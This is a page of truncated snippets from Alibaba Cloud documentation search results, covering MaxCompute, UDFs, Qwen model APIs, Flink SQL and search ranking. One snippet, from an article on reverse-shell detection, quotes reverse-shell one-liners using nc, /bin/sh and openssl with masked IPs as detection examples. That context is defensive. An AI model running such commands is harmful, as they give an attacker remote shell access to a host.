Logview诊断实践
在实际业务开发过程中，企业通常要求作业能在期望的时间节点前产出结果，并根据结果做进一步决策，这就需要作业开发人员及时关注作业运行状态，识别并优化慢作业。您可以通过MaxCompute的Logview功能诊断慢作业。本文为您介绍导致出现慢...
Steps A-G
aggregate 功能：（sideEffect）在遍历过程中，将输入objects聚合成一个list，并保存在sideEffect。备注：单步不会影响输入objects，下一个单步仍然以objects作为输入。单步生成的list是只读的，在后续遍历的任意位置可以通过 cap()取值。...
API详情
模型概览 您可以通过API使用的通义千问系列模型详情如下表所示：模型名称 模型简介 模型输入/输出限制 qwen-turbo 通义千问 超大规模 语言模型，支持中文、英文等不同语言输入。模型支持8k tokens上下文，为了保证正常的使用和输出，API...
API详情
qwen-plus 通义千问 超大规模语言模型增强版，支持中文、英文等不同语言输入。模型支持32k tokens上下文，为了保证正常的使用和输出，API限定用户输入为 30k tokens。qwen-max 通义千问 千亿级别超大规模 语言模型，支持中文、英文等不同...
组件参考：所有组件汇总
序列标注训练（MaxCompute）（即将下线）该组件是将输入序列的每个TOKEN作为一个多分类问题，采用Google原论文中的序列标注方法，实现对输入序列TOKEN进行分类，通常用于分词、词性标注和命名实体识别等。文本摘要训练 该组件旨在从冗长、...
SELECT
可选的 GROUP BY 子句的形式：GROUP BY grouping_element[,.]参数说明 grouping_element 中使用的expression可以是输入列名、输出列（SELECT列表项）的名称或序号或者由输入列值构成的任意表达式。在出现歧义时，GROUP BY 名称将被解释为...
功能特性
Crop 不支持 视频贴黑边 指定输入视频画面经过贴黑边后输出的宽度和高度，以及输入画面与输出画面左边、上边的相对位置，两个画面的间隙使用黑边填充。Pad 不支持 横竖屏自适应 开启后，输出分辨率由宽度、高度，变为长边、短边参数。当您...
搜索增强
服务创建 单击快速创建，选择搜索增强，进入服务创建界面，编辑服务名称并选择服务所使用的引擎及数据源，完成创建后进入索引配置界面。引擎 提供检索服务的基础组建，可在资源中心进行引擎管理也可在快速创建页面直接选择或添加。更多信息...
DQL操作常见问题
在客户端的odps_config.ini文件中设置use_instance_tunnel=false，instance_tunnel_max_record=10，为什么Select还是能输出很多记录？如何用正则表达式判断字段是否为中文？在执行MaxCompute SQL过程中，报错Repeated key in GROUP BY，...
Java UDTF
采用Java语言编写UDTF函数可有效处理复杂数据处理任务并自定义逻辑，并且通过合理利用Java语言的特性，能更好地满足特定的数据处理需求，提升开发效率和处理性能。本文将介绍UDTF函数的代码结构、使用说明和示例。UDTF代码结构 您可以通过...
Java UDAF
} 其中：iterate、merge 和 terminate 是最重要的三个方法，UDAF的主要逻辑依赖于这三个方法的实现。此外，还需要您实现自定义的Writable buffer。Writable buffer将内存中的对象转换成字节序列（或其他数据传输协议）以便于储存到磁盘...
多轮对话搜索
integer 用于索引INT类型数字，数字类型可以用于排序、范围查询等操作 long 用于索引LONG类型数字，数字类型可以用于排序、范围查询等操作 double 用于索引DOUBLE类型数字，数字类型可以用于排序、范围查询等操作 float 用于索引FLOAT类型...
UDAF和UDTF动态参数说明
此时，您需要自己编写代码判断输入的个数和参数类型，然后对它们进行相应的操作（您可以对比C语言里面的 printf 函数来理解此操作）。说明 星号用在返回值列表中时，表示的是不同的含义。您可以在参数列表中使用 any 关键字，表示任意类型...
功能更新动态（2024年）
北京：待发布 杭州：待发布 上海：待发布 功能名称 功能描述 相关文档 标签售卖 标签支持增购标签数，不同标签工厂版本支持增购不同的标签数：试用版默认10个标签，不支持增购。基础版默认50个标签，不支持增购。标准版/高级版默认300个...
文档更新动态（2024年）
2024年05月 更新时间：2024年05月15日 对应发布的版本：V4.0 文档节点 描述 更新、新增 相关文档 产品计费 标签支持增购标签数，不同标签工厂版本支持增购不同的标签数：试用版默认10个标签，不支持增购。基础版默认50个标签，不支持增购。...
LLM-计数过滤（MaxCompute）
LLM-计数过滤组件主要用于大语言模型（LLM）的文本数据预处理工作，根据字母、数字、分隔符的个数过滤样本。使用限制 仅支持MaxCompute计算引擎。算法简介 LLM-计数过滤组件支持以下功能：根据数字字符个数或比例过滤 统计文本中的数字字符...
通义千问
通义千问VL是阿里云研发的大规模视觉语言模型（Large Vision Language Model,LVLM），可以以图像、文本、检测框作为输入，并以文本和检测框作为输出，支持中文多模态对话及多图对话，并具有更好的性能，是首个支持中文开放域的通用定位模型...
字符串相似度-topN
字符串相似度-topN算法组件用于计算字符串相似度，并筛选出最相似的Top N个数据。本文为您介绍字符串相似度-topN算法组件的配置方法。组件配置 您可以使用以下任意一种方式，配置字符串相似度-topN组件参数。方式一：可视化方式 在 ...
使用函数计算部署通义千问大模型实现AI对话
通义千问是阿里云自主研发的大语言模型，能够在用户自然语言输入的基础上，通过自然语言理解和语义分析，在不同领域、任务内为用户提供服务和帮助。本文介绍如何通过函数计算实现基于通义千问的AI对话。背景信息 通义千问模型接受用户以...
Go SDK使用示例
安装 Go 语言 确保本地已经安装 Go 语言，若未安装可以参考Go语言的 官方安装文档，Go 版本要求：>=1.10.1。安装完成后通过如下命令确认安装成功，并且确认 GOPATH 已经设置：$go version go version go1.10.1$go env GOPATH/root/gos 下载...
三方开源大语言模型
姜子牙通用大模型 ziya-llama-13b-v1 限时免费中/Dolly开源大语言模型 dolly-12b-v2Dolly 限时免费中 以下条件任何一个超出都会触发限流：流量≤10 QPM，每分钟处理不超过10个完整的请求；Token消耗≤2,500 TPM，每分钟消耗的Token数目不...
输入和输出
本文介绍了输入和输出的基本知识，您可以参见本文示例进行操作。流程和步骤 通常流程的多个步骤之间需要传递数据。和函数式编程语言类似，FDL的步骤类似于函数，它接受输入（Input），并返回输出（Output），输出会保存在父步骤（调用者）...
2020年
2020-12-31 华东2（上海）视频插帧 图像分析处理 肋骨骨折检测 根据胸部CT成像进行肋骨骨折的辅助诊断，并输出骨折的位置及骨折的类型。2020-12-31 华东2（上海）肋骨骨折检测 胸部CT平扫筛查 查基于常规胸部CT影像，实现了人体胸部多器官...
在TDX实例中部署端到端Retrieval Augment Generation...
大语言模型模块：利用排序模块输出的文本信息，并结合特定提示词，给出用户最终的回答。前端模块：用于向用户提供Q&A交互界面，接收用户的提问，并将大语言模型模块生成的回答反馈给用户。服务部署方将待分析的文档上传至数据库。方案优势 ...
优化聚合与排序
优化组合的例子 下面是一个组合优化的例子，在这个例子中，用到了以下优化规则：Agg下推穿过Join Join算法选择为SortMergeJoin Agg算法选择为SortAgg SortMergeJoin中需要的排序利用了SortAgg输出的有序 两阶段Agg Agg下推 Sort下推>...
调用问题
如有需求，可联系我方客服人员：mt_support@list.alibaba-inc.com或钉钉加群：23369411 机器翻译支持输入一种语言输出多种翻译后语言吗 机器翻译不支持输入一种语言输出多种翻译后语言，若需要可以调多次接口实现。子账号调用机器翻译API...
MapReduce
与经典的MapReduce框架协议不同，在MaxCompute中，Combiner的输入、输出的参数必须与Reduce保持一致，这部分的处理通常也叫做 洗牌（Shuffle）。Reduce阶段：进入Reduce阶段，相同Key的数据会传送至同一个Reduce Worker。同一个Reduce ...
Python 3 UDAF
此时，您需要自己编写代码判断输入的个数和参数类型，然后对它们进行相应的操作（您可以对比C语言里面的 printf 函数来理解此操作）。说明*用在返回值列表中时，表示的是不同的含义。UDAF的返回值可以使用*，表示返回任意个STRING类型。...
关键词抽取
无 topN 否 输出前多少个关键词，当关键词个数小于全部词个数时，全部输出。5 windowSize 否 TextRank算法的窗口大小。2 dumpingFactor 否 TextRank算法的阻尼系数。0.85 maxIter 否 TextRank算法的最大迭代次数。100 epsilon 否 TextRank...
云安全中心反弹Shell多维检测技术详解
bin/sh-i< /tmp/f 2>&1|openssl s_client-quiet-connect 0.0.XX.XX:666>/tmp/f 通过管道、伪终端等作为中转体，并与Socket打通，重定向Shell解释器的输入输出到中转体，有以下常见案例：案例一：nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX ...
Java SDK使用说明
使用 EAS 提供的官方SDK进行服务调用，可以有效减少编写调用逻辑的时间并提高调用稳定性。本文介绍官方Java SDK接口详情。同时，以字符串输入输出、TensorFlow输入输出、QueueService客户端和请求数据压缩为例，提供了使用Java SDK进行服务...
列存索引中TopK算子的实现
延迟物化相比于在生成sorted run时就物化查询需要输出的所有列有两个优势：物化RowID的空间占用更小，在可用执行内存一定的情况下，可以使用内存算法处理更大的数据量。计算TopK的过程需要调整数据顺序，涉及对数据的Copy/Swap。如果在生成...
SQL性能问题
第一阶段在上游节点本地攒一批数据进行聚合（localAgg），并输出这次微批的增量值（Accumulator）。第二阶段再将收到的Accumulator合并（Merge），得到最终的结果（GlobalAgg）。适用场景 提升普通聚合（例如SUM、COUNT、MAX、MIN和AVG）的...
赋值节点
当您需要将上游节点任务的查询或输出结果提供给下游节点使用时，可通过赋值节点实现。赋值节点支持ODPS SQL、SHELL和Python三种赋值语言，将节点最后一条查询或输出结果自动赋值给节点自带的输出参数（outputs），便于赋值节点的下游节点...
百分位
一组数据从小到大排序，并计算相应数据的百分位，则某百分位所对应数据的值称为该百分位的百分位数。背景信息 系统仅支持Bigint、Double和Datetime类型的数据计算百分位。计算百分位时，空列，默认跳过。如果全部为空列，则运行报错。...
排序策略配置
查看排序效果，在搜索测试界面，配置基础和业务排序参数，并打开显示排序明细：查看各函数算分结果：说明 对于文档得分的排序分为两个阶段：基础排序和业务排序，通过query召回并通过filter过滤后的文档，首先进入基础排序，根据基础排序...
排序策略配置
查看排序效果，在搜索测试界面，配置基础和业务排序参数，并打开显示排序明细：查看各函数算分结果：说明 对于文档得分的排序分为两个阶段：基础排序和业务排序，通过query召回并通过filter过滤后的文档，首先进入基础排序，根据基础排序...
部署异步推理服务
当输出队列满时，即无法向输出队列中写入数据时，服务框架也会停止从输入队列中接收数据，避免无法将推理结果输出到输出队列。如果您不需要输出队列，例如将推理结果直接输出到OSS或者您自己的消息中间件中，则可以在同步的HTTP推理接口中...
仪表板制作常见问题
环比=（本期数-上期数）/上期数×100%，同比=（本期数-同期数）/|同期数|×100%。逻辑不支持修改。交叉表某列，允许设置并记住自动排序么？在仪表板编辑页面，找到目标字段并选择排序。保存仪表板，在浏览界面可以看到图表会按照设定的排序...
高性能Flink SQL优化技巧
如上语法所示，去重需要两层Query：使用 ROW_NUMBER()窗口函数来对数据根据时间属性列进行排序并标上排名。当排序字段是Proctime列时，Flink就会按照系统时间去重，其每次运行的结果是不确定的。当排序字段是Rowtime列时，Flink就会按照...
- 产品推荐
- 这些文档可能帮助您